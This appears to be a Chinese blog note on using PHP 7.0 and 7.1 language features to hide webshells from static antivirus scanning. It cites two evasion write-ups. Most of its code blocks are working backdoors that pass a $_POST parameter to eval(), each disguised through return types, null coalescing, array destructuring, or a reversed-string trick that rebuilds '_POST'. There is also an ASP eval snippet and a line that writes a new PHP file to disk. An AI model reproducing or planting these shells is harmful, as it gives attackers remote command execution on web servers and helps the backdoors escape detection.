php笔记

参考资料
https://zeo.cool/2020/12/31/webshell多种方法免杀/
https://h3art3ars.github.io/2020/02/27/利用php新特性过静态查杀/

函数记录

<?php phpinfo();
<% eval(requests(a));%>

echo file_put_contents(__DIR__ . '/aa.php',"Runoob");        # 在当前位置下生成aa.php  内容为Runoob 

PHP7.0.x 新特性

php7.0新特性  https://www.php.net/manual/zh/migration70.new-features.php

function a():int{
...
}
就是函数返回值类型要为int。否则会强制转换或者显示语法错误。

<?php
function b():string{
	return $_POST['h3art3ars'];
}
eval(b());
?>

##############################################################################################
$a=isset($_POST['a'])?$_POST['a']:'h3art3ars';
等价
$a=$_POST['a']??'h3art3ars';

如果变量存在且值不为NULL, 它就会返回自身的值,否则返回它的第二个操作数

<?php
function a(){
	$a=$b??$_POST['h3art3ars'];
	return $a;
}
eval(a());
?>

PHP7.1.x 新特性

php7.1新特性  https://www.php.net/manual/zh/migration71.new-features.php

##############################################################################################
可为空(Nullable)类型
<?php
function a(): ?string
{
    return $_POST['h3art3ars'];
}
eval(a());
 ?>
比7.1的特性多了个 ?函数返回值若不是给定类型,则为空。
##############################################################################################
短数组语法
<?php
function a(){
	$a=['h3art3ars',$_POST['h3art3ars']];
	[$c,$d]=$a;
	return $d;
}
eval(a());
?>
短数组语法([])现在作为list()语法的一个备选项,可以用于将数组的值赋给一些变量(包括在foreach中)。
##############################################################################################
list()现在支持键名
$data = ["id" => 1, "name" => 'h3art3ars'];
["id" => $a, "name" => $b] = $data;
//结果$a=1,$b='h3art3ars'

<?php
$a=["shell"=>'a',"c"=>$_POST['h3art3ars'],];
["shell"=>$c,"c"=>$b]=$a;

eval($b);
?>

函数再套一层
<?php
function a(){
$a=[
	"shell"=>'a',
	"c"=>$_POST['h3art3ars'],
	];
["shell"=>$c,"c"=>$b]=$a;
  return  $b;
}
eval(a());
?>
##############################################################################################
支持为负的字符串偏移量
<?php
$a="h3art3ars";
var_dump($a[-1]);
?>
这个在小于7.1版本中,负的偏移量返回空字串       7.1.x中返回 s,但是以前的版本中 返回 string(0) ""
<?php
$a="TSOP_";
$b=$a[-1].$a[-2].$a[-3].$a[-4].$a[-5];
$c=${"$b"}['h3art3ars'];
eval($c);
?>
版权声明:本文为start星原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://www.cnblogs.com/startstart/p/16909425.html